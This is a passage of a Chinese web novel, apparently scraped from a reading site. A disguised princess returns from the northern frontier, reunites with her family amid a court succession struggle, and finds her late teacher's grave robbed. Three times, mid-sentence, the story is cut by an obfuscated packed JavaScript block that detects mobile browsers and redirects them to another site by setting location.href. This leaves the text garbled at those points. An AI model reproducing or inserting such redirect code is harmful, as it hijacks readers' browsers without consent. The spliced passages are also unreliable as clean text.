道路两旁有姑娘忍不住小声道:“这位军爷说话怎么......” 落到燕飞耳朵里,忍不住哈哈大笑,从怀里掏出一朵进城路上随手摘的野花抛出去,流里流气道:“好妹妹!那是你乡下哥哥!多担待!” 那姑娘接了花,脸色绯红,抬头却寻不见抛花的人影。 燕飞行至一匹骏马身边,那马年岁尚轻,毛色油亮发红,眉心正中一撮白毛,是匹上好的千里马。燕飞艳羡不已,说道:“阿鸢,等进了城,狼牙借我玩儿两天,成不成?” “别借他!”赵六子喘着粗气跟上来,嬉皮笑脸道,“他一进盛都,指不定有哪个温柔乡等着。” “六子说得对,你们且看着,再过两天,燕飞保准连上马的气力都没了哈哈哈哈!” 一阵浑笑过去,唯有红马上坐着的人只略微弯了弯唇角。赵六子问道:“阿鸢,将军最器重你,今日回朝,怎地不见你跟将军走在阵前面去?” 燕飞马鞭拍拍赵六子肩膀,调笑道:“你懂什么,前面多无趣,哪有跟兄弟们说笑快活,是吧阿鸢!” 那少年微笑道:“是啊,前面多无趣。” “倒也是。”赵六子也笑,又问,“阿鸢,咱们是回城,又不去杀敌,怎地还戴这面具?” 燕飞正要说话,赵六子恍然大悟道:“俺知道了!阿鸢兄弟生得比女人还好看,不戴面具,万一路上被姑娘瞧中害了相思病,岂不罪过罪过。” 他说着双手合十,装模作样口中喃喃,燕飞在马背上狂笑不止,险些跌下去。 那张面具底下的脸愈发生动,两年疆场磨砺,周昭瘦了些,下巴略尖,眸光坚韧。从前自盛都走出去时,身上那股子浮躁之气也沉了下来。此时跟随大军端坐马上,不像公主,倒像是哪个俊美小将。 周昭当年本想送完信就回去,谁料大雪封山,辽城防御使杨坚战死。孟舒果然跟北面的鞑子暗通款曲,辽城刚失守,草原八大部落那位新可汗察罕图便发动敌袭。 周昭人都来了,又怎能甘心就这样回去?于是又跟着霍璋将军攻城,战事瞬息万变,她这一待就是整整两年。 起初江梅棠还能替周昭遮掩,但纸包不住火,宣庆帝知道后自然大发雷霆,差点儿把江梅棠派过来将周昭捉回去。但皇女身在军营一事并不能走漏风声,边境鱼龙混杂,被有心之人盯住反不安全,只能一封封信雪花片儿似的从盛都往北疆送。因此除了霍璋,其余人并不清楚周昭身份。 周昭两年没有回来,但见城外一座青山颜色苍翠依旧。她抬头遥遥相望,不禁神情落寞。 两年了,师父莫要怪我。 此时恰好山巅传来钟声阵阵,不多不少,一共三下。 燕飞抬手挡住阳光,循声望去,问道:“那是什么山?” 有百姓回答:“军爷,那是苍界山!” “哦?我听说不久前仙去的国师就住在苍界山。”燕飞只是听过江梅棠这个名字,并不熟悉。 百姓继续道:“军爷说对了,不光国师大人,明鸢殿下也住在山上。” “明鸢殿下?”赵六子搭话道,“这个俺知道,两年前盛都瘟疫,就是这位明鸢殿下想法子治好了,听说救了几千人性命。” 那人神情激动道:“明鸢殿下心善,咱们都日夜感念殿下恩德呐!” “可不是嘛,可惜殿下这么多年都没下过山......” “听说殿下是在山上为大周祈福!” 你一言我一语,却不知他们心心念念的明鸢殿下就在不远处的马背上。 师父倒是为我寻了个好借口,周昭面上微热,尽管戴了面具,仍是受不了光天化日下顶着这么多热切的目光,于是策马向前去了。 没走多久,左前方拥堵得厉害,就连两侧站着的守卫也心不在焉,频频回头张望。 周昭看不清楚,俯身问道:“兄弟,前面发生什么事儿了?” 那士兵回答:“像是有个小女娃挡在路上。” 周昭往前走了几步,果然人群中央站着个七八岁的小女娃。她怀里抱着个绣花布袋,面前围着许多大人,却没一个人站出来把孩子从路边抱走,反而都直勾勾地盯着那只袋子。 小女娃伸手从布袋里翻找几下,掏出一只硕大的夜明珠来,稚声问道:“谁要?” “我要我要!”男人一把抢过夜明珠,哈了口气用袖子擦了擦,心满意足地离开了。 周昭顺手抓住男人,斥道:“干嘛抢小孩儿东西,还给她。” 男人挣脱不开,骂道:“你哪只眼睛看到我抢了!” 小女娃又举着一只金戒指,继续问:“谁要?” “我!我要!” “我也要!给我吧!” 人群一下子涌上来,男人从周昭手底下溜走。燕飞他们也过来了,问道:“阿鸢,怎么了?” 周昭指了指那抱着布袋子分发珠宝的小女娃,燕飞嘿嘿笑道:“盛都就是大地方,娃娃都这么气派!” 赵六子回头叫道:“燕飞!阿鸢!将军派人催了,快上马!” 周昭点点头,随手指了个守卫把那女娃娃带回去。正欲上马,经过小女孩身边时,对方仰着头脆生生地叫了句姐姐,周昭弯下腰柔声说道:“小妹妹,这儿人多,快跟哥哥回家去了。” 她说完才反应出不对劲,这孩子是怎么知道我不是男儿身的…… 小女孩抿着嘴巴不说话,从布袋子里掏出来一颗拇指大小的黑珍珠,周遭一片吸气声,小女孩浑然不知自己手中是多价值连城的宝贝,高高举起,递给周昭道:“送给你。” 这是谁家的宝贝闺女,拿了家里这么多好东西出来白送。 周昭又怕生事,对那守卫道:“劳烦,赶紧找到父母送回去。” “姐姐不要,姐姐不要!”小女孩突然嚎啕大哭,赌气般扔了珍珠。 “珍珠!我的珍珠!” “是我的珍珠!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877056|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 人群顿时骚动起来,横冲直撞下狼牙受了惊,一声嘶鸣过后,前蹄高高扬起。马蹄重千斤,踏下去非死即伤。 周昭一跃而起,拉住缰绳在左臂上连绕几圈,叫道:“都让开!” 烈马鬃毛如巨浪扬沙,周昭掌心被勒出血痕,借势猛地一拽辔头,硬生生将马头转了个方向。不过瞬息之间,她便身轻如燕地翻身上马,双腿夹紧马肚子,回头道:“六哥!我先带狼牙前面去!” 赵六子应道:“你且放心去!这里有我跟燕飞!” “那小女娃跑哪儿去了?”待安抚完受惊的百姓,燕飞从地上捡起一只面具,饕餮纹路凹凸不平,有些硌手。 他擦擦上面的灰递给赵六子:“阿鸢的面具。” 赵六子接了,问过守卫,回来道:“说是刚才人多没注意,可能家里人来抱走了吧。” 燕飞一甩马鞭,少年人心急,喊道:“那咱们也走,将军等急了要罚!” 二人匆忙上马,身后行军浩浩荡荡跟着入城门。有百姓望着北疆大军离去背影,议论道:“刚才你们看见那位军爷没有?骑红马那个。” “看到了,长得真俊呐!” “谁说这个了?”那人若有所思道,“你们有没有觉得他像一个人。” “……好像有点像安宁王殿下。” “是有点像,还像苍界山上那位明鸢殿下……” 周昭走到半路才发现面具掉了,懊恼不已。 也不知被谁认出来没有...... 进了城,刚在驿馆坐定,立时有圣旨送来。上面写着宣庆帝要为北疆军接风洗尘,宫宴定在今晚。 霍璋今年三十出头,比周昭大了整整一轮还多。他一身戎装未卸,跪下谢恩。 宫里来的是常年服侍宣庆帝左右的总管李德海,长了一张白白胖胖的富态脸,眼睛嘴巴陷在肉里几乎看不见,只有一张一合时才能分辨出那是个五官,他笑着说:“将军,陛下吩咐了,今日宫宴多带些人去,热闹热闹。” 大将在外,无诏不能回。 霍璋这回明面上是赤霞关大捷回盛都受赏,实则还有层意思,便是护送周昭返都。霍璋自然明白李德海的意思,应道:“还请总管转告陛下,臣知道了。” 听见这话最高兴的是燕飞跟赵六子,等李德海走了,二人凑在周昭身边道:“阿鸢,将军肯定要带你去。你跟将军说说,把咱俩也带进宫见见世面。” 霍璋回头道:“嘀嘀咕咕,在嚼什么舌头?” 霍璋生就一副不怒自威的脸,这份威严甚至常常盖过了这张脸上原本的俊朗,让人不敢逼视。但霍璋此刻虽然嘴里没好话,语调却是上扬的,说明他心情不错。 燕飞做了个鬼脸,问道:“将军,你打算带谁去?” 霍璋扫了一圈儿,随口答道:“把整个北疆大营都带去,你看行不行?” “行!那可太……”燕飞声量渐低,心道连将军进了盛都城都会混说了,这里果然富贵迷人眼。 霍璋抬了抬下巴,嫌弃道:“要想进宫,先打桶水洗洗干净,一个个泥猴子似的!祝鸢,你留一下。” 燕飞喜笑颜开,拉着赵六子冲澡去了。 等四下无人,霍璋突然跪下,周昭吓得连忙双手相扶:“将军!” 69. 第 69 章 霍璋不肯起来,说道:“殿下,在北疆您愿意屈尊降贵当我手底下的兵,是您和陛下给我霍璋脸面。但进了盛都,您就是金枝玉叶的公主殿下,万不能再像从前跟在我身边当个小小副将,这成何体统!” “将军您先起来!”周昭脱出而出道,“我答应您就是了,我这次回来就是跟父皇请罪的。” 霍璋不肯让周昭来扶,站起身道:“请罪谈不上吧,陛下那么宠爱殿下。” 周昭不好意思道:“您又不是没见过当年父皇送到北疆的信。” 霍璋显然也是想到了那段夹在中间难做人的日子,干笑两声,问道:“殿下这次回来,有什么打算?” “见过父皇母后之后,我想去苍界山看看师父再做打算。”周昭尚未从两个月前江梅棠突然病逝的打击里走出来,提起苍界山难免消沉。 霍璋劝慰道:“臣多年前与国师有过一面之缘,国师病体孱弱,却教出您跟黎国的谢景殿下两位少年英才,也算功德无量了。” 提起长淮,周昭想到他是那么喜爱师父的一个人,所受打击想来不比她小,不由感叹道:“可惜师父去时,我跟长淮都不在身边。” 霍璋不善言谈,再多安慰的话也没得说了,只好岔开话题道:“殿下,燕飞他们那边打算怎么办?” 一说起这个周昭就头痛,虽然当时事态紧急,迫不得已才换了个假身份潜入军营报信。但说一千道一万,欺骗就是欺骗,这让她如何说出口...... 周昭面露难色,说话间正好燕飞跟赵六子勾肩搭背走进来。 他俩一身水汽,军装半挂在肩膀上,口中胡乱交待些不入流的小调,活像两个地痞流氓。见霍璋还没走,立马夹着尾巴规矩许多,擦了把脸上的水珠子,老老实实唤道:“将军。” 霍璋这回没骂,只是说:“出了这个门,别说是我的兵。” 燕飞向周昭投去求救的眼神,霍璋心如明镜,冷不丁道:“看什么看,那是公主殿下。” “公、公……” “你他娘的瞎叫什么!公主!”霍璋气不打一处来。 “公主殿下!”燕飞二人终于憋出了个响屁。 “将军——” 周昭万万没想到霍璋就这么堂而皇之地说出来了,尴尬地站在原地,霍璋倒是不遮掩,继续道:“说了是公主殿下还敢看!我们大周的公主殿下心系百姓,不远万里来到北疆,就是为了救你们这帮小兔崽子。” “将、将军!”周昭面色透红,眼神哀求,在人前喜怒不形于色的功夫显然还没练到家。 霍璋终于不再说了,将目瞪口呆的燕飞跟赵六子揪住后领带出去。 进宫路上,燕飞还是不敢相信日日跟他们厮混在一起的祝鸢,就是那位只活在想象里的明鸢殿下。 “六子,我越想越不对劲,明鸢殿下就算胆子再大,也不至于从盛都一口气跑到北疆来吧?” 赵六子头脑简单,霍璋说什么他就信什么,反驳道:“公主怎么了?反正是咱好兄弟就够了呗。” 燕飞恨铁不成钢,低声骂道:“我说六子,你是不是脑子缺根筋?阿鸢是咱好兄弟,那公主殿下能是咱好兄弟吗!你配吗!” “我不配,难道你配?” “......我也不配。”燕飞兴致恹恹,一路都没什么话。 周昭早他们一步进宫,一是没想好怎么面对昔日好友,二是皇后两年未见周昭想念得紧,派人来驿馆催了几回。 周昭怕自己一身沙场血气,特意先绕道回的昭阳殿,想沐浴完再去见皇后。谁料她悄莫声翻墙进来,却被流筝抓个正着。 “公主殿下!您可算回来了!”流筝一见面就哭,周昭忙捂住她的嘴,低声道:“流筝姐姐,不是说好不要声张吗?嘘!你小点声哭。” “皇儿长本事了,都会翻墙了。” 周昭听着这声儿,没说一句话先酸了鼻子,双膝一软跪地叩首道:“母后!儿臣……儿臣回来了。” 皇后仍是两年前雍容华贵的模样,但周昭眼尖,远远一眼便看到她眼尾新添了几条细纹。 皇后身边跟着个不算很高的少年,周昭瞧着眼熟,却未来得及细看,皇后将她揽进怀里,声音哽咽道:“昭儿,快让母后好好看看你。” “脏,母后,我这一身脏得很。”周昭躲闪不及。 皇后拉了周昭的手站起来,嗔道:“母后生出来的孩子,脏怕什么。”她细细打量着周昭,又低头拭泪,“长高了,也瘦了。” 周昭故意逗皇后开心,说道:“比澈哥哥高了吗?” 皇后亲昵地刮了刮周昭鼻梁:“你这妮子,还记得有个澈哥哥。等你见了他,比比就知道了。” 周昭破涕为笑,终于腾出空儿来看旁边站着的那个少年。少年不待她相询,便甜甜笑道:“昭姐姐,许久不见了。” 皇后拉着周昭的手,笑说:“昭儿,还认得这是谁吗?” 周昭一听他说话便认出来了,问候道:“是折杞啊,模样长变了许多,我都认不出了。” 折杞当年像个地里刚拔出来嫩生生的小白萝卜,周昭见他不是在哭就是被欺负,如今不但长高许多,气质也变了个样儿。 皇后假意斥她:“你这丫头一跑就是两年,母后也快认不出你了。这两年多亏折杞这孩子有心,常来宫里陪着母后说话,你二哥走得早,你又……” 皇后提到伤心事,轻轻叹了口气。折杞温顺地站在旁边,体贴道:“皇娘娘,昭姐姐刚回来,折杞就不打扰你们说话,先回去了。” “去罢。” 母女俩相携往昭阳殿去,一路上又说了不少体己话。末了皇后嘱咐她,待会儿一定要先去承乾殿看看宣庆帝。 “昭儿,你父皇当年虽然话得重,但这两年记挂着你呐。他是皇帝,你得先好好认错,知道吗?” “母后,儿臣记下了。”周昭拉着皇后撒娇,皇后心里高兴,又吩咐流筝多准备几套衣裙,“换了这身衣裳再去,免得你父皇看了又生气。” 周昭去承乾殿的路上心里忐忑,几欲退缩,半道上碰见来寻她的周澈。 安宁王周澈比她只大两岁,身子弱常年养在深宫,不像周昭另外两位哥哥驻守边关。去年封王宣庆帝赐了周澈“安宁”二字,也是希望他安康长乐。 周澈跟周昭走在一起,二人愈发像是一个模子刻出来的,也说周昭长高许多。 “澈哥哥,父皇会跟我和好吗?” “傻丫头。”周澈笑起来如沐春风,“父女哪有隔夜仇,父皇也是担心你。” 周昭趁机告状道:“父皇还说不认我这个女儿呢。” 周昭说完这有些撒娇意味的话,浑身上下十分不得劲地抖了抖,像是要把那层鸡皮疙瘩给抖下去。 她在关外吃了两年风雪,男人堆里滚着,一边打仗一边长大,乍一见至亲,冷硬的盔甲底下又不由自主地生出些陌生的少女情怀,让周昭十分的不适应。 但仔细一想,周昭也才刚满十七。 周澈像小时候那样摸了摸周昭的脑袋,无奈笑道:“你这丫头……前面就是承乾殿,我在外面等你。” 周昭不情不愿,一步三回头进了承乾殿,心里七上八下,轻声唤道:“父皇,儿臣回来了。” 宣庆帝嗯了一声,看着周昭半晌,说道:“平安回来就好。” 周昭跪下道:“父皇,儿臣当年有错。” 没有想象中的大发雷霆,或是责难惩罚。 宣庆帝从台阶走下来,亲自扶起周昭道:“霍璋在信中都跟朕说了,此次晋川大捷,皇儿功不可没。” 周昭不敢应承,摇头道:“功劳全在北疆将士,儿臣只是尽微薄之力。” 宣庆帝满意点头道:“皇儿既有救世之心,又有救世之能,朕心甚慰。” 他拉着周昭的手,二人一步步走上龙椅,说道:“这个位子,天下人都想要,却不好坐。衡儿走后,朕一下子老了很多,愈发力不从心。如今见你们一个个都很争气,周家江山不至于没落,朕心里高兴。” 周昭心里发堵,她从前待在苍界山虽然学了诸多本事,但都如束高阁,纸上谈兵。 如今出去两年,见过堆成山的死人,尝过混着沙的白粥,看过白发苍苍举家南迁的老人,才真切体会到了这些年流年不利,国家艰难。 若从前宣庆帝跟她说这些,周昭不一定能有现在感同身受,但她也有些自个儿的私心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881683|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,总想着要是能永远站在父皇身后就好了,她小声说道:“父皇才没有老呢……” 宣庆帝笑道:“好好,父皇不老。”他握着周昭的手放在龙椅上,“皇儿想不想跟父皇一样,坐在这儿?” 周昭老实答道:“儿臣觉得只要能利国利民,坐在哪都一样。” 她于皇位没什么野心,于这艰难的世道却有一点不多不少的野心。 “你大哥可不这么想。”宣庆帝松开周昭,“去罢。” 金銮殿内,歌舞升平。 鎏金蟠龙柱上神龙欲飞,九层白玉阶前流光溢彩。 玉阶之上坐着宣庆帝和皇后,皇后当年是盛都出了名的美人儿,虽然已生养了四个孩子,却依旧光彩照人,比宣庆帝看上去年轻许多。她疼爱周昭在边境辛苦,特地让人在身边置了软座。 宣庆帝半靠在龙椅上,他年不过五旬,双眸已不复盛年炯炯神采。 “此番大捷,霍爱卿劳苦功高。”宣庆帝举了酒杯,霍璋忙起身谢恩,刚站到一半,又听宣庆帝意味深长道,“……可惜没能斩了袁良小儿人头。” 袁良即孟舒国三王子,两年前就是他突然领军发难辽城,打了周朝一个措手不及。 “陛下,不如拨给臣两万精兵,别说袁良,就是他老子袁浩,臣也立时捉来!” 说这话是盛都禁军总督沈博安,他是皇后表了几表的远方亲戚,按理周昭要叫他一声表舅。 沈博安仗着年纪比霍璋大,又手握皇城禁军兵权,因此行事作风颇有几分傲气。 燕飞坐在霍璋身后两排,闻言很是翻了个白眼,凑到赵六子耳边小声道:“这哪冒出来的草包,袁良也是他能说抓就抓的?” 赵六子光顾着看周昭,眼睛都看直了,答非所问道:“燕飞,我现在相信阿鸢是公主殿下了……” 周昭今日晚宴换了宫装,一袭水色孔雀蓝长裙,云锦广袖层层叠叠,臂挽泥金纱罗,腰束九环玉带。梳的是流云发髻,簪一根珍珠步摇,跟那额间花钿相得益彰。 周昭甚少穿这样明亮的颜色,只因皇后疼她没有笄礼,早在几月前,就让宫里的工匠比着两年前备下的那套及笄穿的裙装,又重新做了件。如此盛装打扮之下,让人看一眼便移不开目光,也难怪赵六子要看呆了。 “憨货!”燕飞骂了句,也忍不住看了眼周昭,继而低头吃席去了。 宣庆帝岂能不知沈博安在说大话,半是玩笑半是认真道:“博安,朕看等过了年,你就跟霍爱卿同去北疆,如何?” 沈博安当时就变了脸色,同样神情微变的还有平南王。 平南王今年二十有六,长了张很讨女子喜欢的脸,模样跟年轻时候的宣庆帝很像,身上有股子年轻王侯势不可挡的锐气。 他便是周昭的大哥,周驰。 周驰端起酒盏送了口酒入喉,宽袖底下的目光微不可查地往玉阶上看了一眼。 “陛、陛下……”沈博安有点结巴,干笑道,“微臣想了想,还是盛都陛下的安危更重要。北疆,就……” 宣庆帝转向霍璋,问道:“爱卿觉得如何?” 周昭不用想就知道霍璋要说什么,沈博安放在皇城是个马马虎虎的总督,放在北疆,那就是个既不中用又不能怠慢的主儿。 果不其然,霍璋道:“北疆苦寒,臣怕沈总督……嫌冷。” 霍璋说话带点儿与生俱来的痞气,惹得宣庆帝哈哈笑道:“北疆的确冷些。” 沈博安一颗心还没放回肚子里,宣庆帝又道:“朕听说,前阵子禁军大营死了个人?” 沈博安冷汗都要掉下来,答道:“回陛下,是......是有这回事儿。” 说起这事儿沈博安就觉得倒霉,死的是当夜巡逻的禁军,喝多了酒掉进河里,尸体泡了一天一夜才被发现。本来这事儿不大,但偏偏年根底下死了,简直晦气。 沈博安生怕宣庆帝再问,眼神忍不住地往对面平南王身边飘,对方压根没看他。宣庆帝似乎没打算追究,挥手让沈博安别再站着。 又过了两只曲子,宣庆帝漫不经心道:“盛都是大周的心脏,禁军就是护住这颗心脏的剑,少一个,就要添一个。博安,年后就让明鸢去你那儿罢。” 70. 第 70 章 周昭正挨着皇后吃蟹粉酥,离开盛都两年,朝堂内的事儿她一概不懂,此时险些噎住。一口水刚顺下去,便听宣庆帝问道:“明鸢觉得呢?日后留在盛都也好多陪陪你母亲。” 这便是要把话说死了。 一时间,所有的目光都落在周昭身上。在场谁都清楚周昭消失的这两年不是在苍界山,而是在北疆。 但宫里从前不说北疆,只说苍界山,那便是不想外人知道。 今日宫宴宣庆帝毫无征兆地改了口,又点名周昭去禁军,气氛突然变得微妙起来。 周昭是不大想去禁军的,不说北疆的鞑子还没打服,沈博安这个人她也不喜欢。 “父皇,儿臣还想跟着霍将军多学些本事。” 宣庆帝看着她,不大欢喜道:“朕看明鸢的本事,已经学得够多了。” 皇后在周昭手背轻轻拍了两下,一个声音道:“父皇,明鸢毕竟是女儿家,禁军那种地方……” 周澈站起身,微笑道:“不如让儿臣去吧,儿臣闲来无事,刚好跟着沈总督历练历练。” “安宁王怎么站出来了……” “安宁王不是最不喜欢跟兵痞子打交道吗……” 众人窃窃私语,周澈说话声音虽然温和柔缓,却丝毫不怯。周昭正欲起身阻拦,却又被皇后拉住,皇后掩面小声道:“皇儿,莫要辜负你哥哥苦心。” 宣庆帝皱着眉打量着自己这个小儿子,半晌终于道:“好罢,南衙十六卫还缺个中郎将。” “儿臣谢父皇。”周澈又转向沈博安,“沈总督,日后我有做得不对的,还请多担待。” 沈博安喜笑颜开道:“五殿下说哪里话!” 周澈坐下后,不露声色地冲周昭摇摇头,示意她莫要再说。 歌舞又起,却进不得人心。 周昭食不知味,寻了个借口离席。外头落雪纷纷,周昭见惯了北疆凛冬,并不觉得冷。 她心烦意乱,越走越快,等见着眼前一只秋千才,反应过来自己走到哪儿来了。 那秋千上堆着厚厚一层白雪,周昭忿忿地一脚踢过去,积雪簌簌掉下来,反倒落了她一鞋袜。只有四下没人的时候,周昭才露出那么点儿孩子气来。 她也不怕凉,就这么在秋千上坐下,过了阵子周澈也来了,笑着说:“我就知道你在这儿躲着。” 周昭站起来相迎:“澈哥哥,你怎么来了?” 周澈示意随行的宫人在外头等着,转身进了园子,微笑道:“我若不来,你岂不是又要坐这偷偷哭?” 周昭面带愁容道:“澈哥哥,我想不明白。我只离开两年,为什么……” 她目光暗淡下去,继续道:“是我不懂事儿,还连累你要去禁军当差。你最讨厌那种地方了,要不我再去跟父皇说说,还是换我去,好吗?” 周澈摇头道:“小昭,宫里一直是这样的。只不过从前你在苍界山,有国师护着。这两年又跑得更远,所以才会不适应,才觉得陌生。” 小时候的秋千已经坐不下他们二人,又下着雪,周澈便引着周昭往园子里面的凉亭去坐着。 周澈抖了抖身上的雪,说道:“小昭,朝野上下所有的眼睛都盯着父皇,等他决定一件至关重要的事儿,你知道是什么吗?” 周昭摇摇头,周澈道:“立皇储。” “皇储?”周昭脱口而出道,“难道不是大哥吗?” “不,皇储还没有定下人选。”周澈轻轻蹙眉,“本来我也以为是大哥,我觉得大哥也是这么想的。所以这些年大哥有些事儿做的出格,不是皇储却行皇储之事,父皇心里想必不大高兴。今日父皇所为,就是想敲打大哥,皇储之位不是非他不可。” “沈博安是大哥的人?”周昭敏锐道。 周澈不置可否,抓了把雪散在桌上。 他伸出手指比划道:“当年圣祖皇帝一统天下,四方来朝,国土比如今还要大上许多。但盛极必衰,经过多年朝代更迭,到如今这天下早已不止我大周一家。北疆鞑子八大部落虎视眈眈,如今又冒出个盟国孟舒。辽东海疆有黎、姜、赵、何罗诸多邻国。南疆多蛮夷,沿着甘南腹地的汴江一路向西,又有汴西十三州。” 周昭附和道:“霍将军常年驻守北疆,大哥则居西南,平南王封号由此而来。” “不错。至于盛都……主要兵力全在禁军。禁军又分两大营,一是父皇今日让我去的南衙十六卫,二是北衙禁军,这两拨人职责不同,为的就是制衡二字。但这些年南衙羽林军名存实亡,北衙才是禁军精锐,也是沈博安心腹所在。沈博安担了北衙总督,却身兼两职,如今说起禁军,竟是沈博安一人天下了。禁军总督手底下兵马虽远不及边关,但毕竟是盛都的兵。” 周澈轻轻点了点这片雪堆的中心位置:“禁军,只应该听命于一个人,大哥不该越界。” 周昭若有所思道:“我明白了,父皇让我去禁军,也是为了制衡二字。”周昭说完又摇摇头,“可我不过一个手里没权的皇女。” 周澈一指北方,言简意赅道:“霍将军。” “霍将军是霍将军,我是我。”周昭笑说,“澈哥哥,你不了解霍将军,他为人洒脱,断不会想趟盛都这浑水。再说大哥是父皇的亲儿子,纵使有不对的地方,总不至于父子反目。” 周澈亦笑道:“小昭,你还是不明白。” 桌上的雪堆已经化成水渍,周澈道:“走吧,耽搁久了父皇要不高兴了。” “好。”周昭点点头,二人一前一后走出园子。 因着周澈自请去禁军这件事儿,周昭心中总不大痛快,她跟周澈并排走着,一个垂着眼眉头微蹙,一个目视前方眸光平和,眉眼却是像极了,好似一个模子里刻出来两个雪团儿捏成的娃娃。 周澈边走边宽慰道:“小昭,我毕竟是个王爷,就算去禁军也是个虚职,别再愁眉苦脸了。” “不,”周昭低着头道,“这回不一样。” “什么?” “南衙十六卫荒废多年,北衙沈家独大,父皇有心推我们一人上去,又怎能置身事外。” 回去路上,恰好遇到出来醒酒的周驰。他先是看周澈,再是看周昭,似笑非笑道:“六弟,小妹,都是一个母亲生的,为何你们两个长得一看便知是亲兄妹,我却跟你们一点儿不像。” 周澈笑道:“大哥像父皇。” “哦?”周驰挑眉道,“小妹也这么觉得吗?” 周驰比周昭大了许多岁,从前见着面,周驰总喜欢弯下腰将周昭抱起来转个圈儿才肯放下。 如今他一身军装,站得那样远,周昭也再不敢扑到他怀里闹,略垂了头道:“是,五哥说得对,大哥很像父皇。” 三人进殿,周驰道:“我倒是记着从前国师说的一句话。” 周昭问:“大哥是说哪句?” 周驰踏上台阶,玩笑道:“国师说,小妹有圣祖皇帝之相。” 翌日一早,周昭请示过宣庆帝后便出了宫。 她没要轿辇,戴了支斗篷跨上狼牙往南行。不多时,便来到苍界山底下。 这山跟她当年初次来时一模一样,前夜突然下了场让人牙根打颤的雪,山间雪难消,松柏依旧经年苍翠。 周昭缓步上行,雪后山路并不好走,双脚很快沾满泥泞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885008|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周昭低着头,只觉今日严寒尤甚。山路两旁长着几棵老槐树,好几次险些勾着她的斗篷。 周昭上了山,先是往灵念寺烧了柱香,跪在蒲团前等那香燃尽了方才起身。 踏出寺门时,遇见一个头戴斗笠的僧人正于山道扫雪,周昭忍不住问道:“大师,雪这么厚,扫的完吗?” 僧人只管继续扫,说道:“下多大的雪是老天爷的事,扫不扫雪是贫僧的事。” 周昭一听他说话便认出故人,惊喜叫道:“方丈大师。” 方丈转身,双手合十道:“原来是小殿下,小殿下是来看你师父的吧?” 周昭瓮声瓮气道:“是。” 方丈微微一笑,说道:“小殿下回来时,可曾听到山上三声钟响?” 周昭心中微动,喃喃道:“莫非是师父......” 方丈点点头,抬手指了指后山,道:“你师父就在那儿,山路难走,小殿下当心去。” 周昭拜道:“那我不打扰您了。” “小殿下慢走。” 周昭正欲转身,又道:“方丈大师,这两日上香的人少,眼瞅着又要下雪,您何必......” 方丈笑了两声,说道:“小殿下不是来了吗?只要来一个人,那就是贫僧扫对了。” 他说完又拿起扫帚,缓慢地扫起道路两旁积雪来。 江梅棠病逝得突然,留下遗言不要大葬,只把他往这苍界山寻个安静的地方埋了便好。这后山地方不算小,周昭走得身上都开始微微出汗,才远远瞧见山坡上有一处小小的坟包。 周昭自打听到江梅棠离世的消息,心头便豁开了一道口子,每每想起便要流出血来,她只能强迫自己不去想,才让那口子有时间一点点长好。眼下周昭看见江梅棠的坟,本以为愈合的伤口蓦地重新豁开,疼得她牙齿都微微打颤,腿也像千斤重。 略停了阵子,依稀见那松柏遮挡之后的坟墓旁边似乎有人影在动。 “谁在那儿?”周昭试探道,“长淮吗?” 人影停下不动,没有回应。 周昭觉得不对,三两步往前奔。她这一动,那团人影却比她动得更快,倏地一下跳进坟墓后面不见了。周昭一边追一边叫道:“谁!” 周昭刚奔至坟墓前,瞧上一眼,只觉眼前一黑,血气翻滚—— 江梅棠的坟显然是被刚刨开,土还是新的,棺材里面却空空如也。 犹如五雷轰顶,周昭刚才出的汗一下子凝成冷气直往她身上钻。 周昭扑通一声在坟前跪下,快速磕了个头,舌尖都快咬破了,低声道,“您等等我。” “站住!” 周昭往刚才那人消失的方向追去,她跑得飞快,激起林间一片飞鸟悲鸣,积雪跟着簌簌地掉下来,一时间仿佛山林低啸。 那人偷走师父的尸体要干什么? 周昭心乱如麻,恨不得抓住那盗墓贼一刀砍了! 她越追越快,却只闻鸟叫不见人影。 追出一段,树后黑影一闪而过,周昭一个飞身扑上去,将那罪魁祸首按倒在地。 山雪本就虚虚实实,两个人的重量压下来,竟是一个后仰双双向山底下滚去。 枝叶草木接踵而至,不是往脸上划就是往身上刺,周昭顾不得痛,往下摔还记着伸手把那人一把抓住。她这一抓不要紧,谁知那盗墓贼非但不挣脱,反而双臂一伸将周昭紧紧环抱住。 放肆! 苍天有眼,几个翻滚之后那人一声闷哼,后背狠狠撞在一根大槐树上。周昭趁机翻身压在他身上,掐住那人脖子喝道: “说!我师父在哪儿!” 71. 第 71 章 那是一张年轻而又眼熟的脸,周昭一时记不起哪里见过,更不要说她现在怒气冲天,哪里会再去想这人是谁。 她手下力道更重,强忍住才没有把这人干脆掐死,又问:“我师父、你把我师父……” 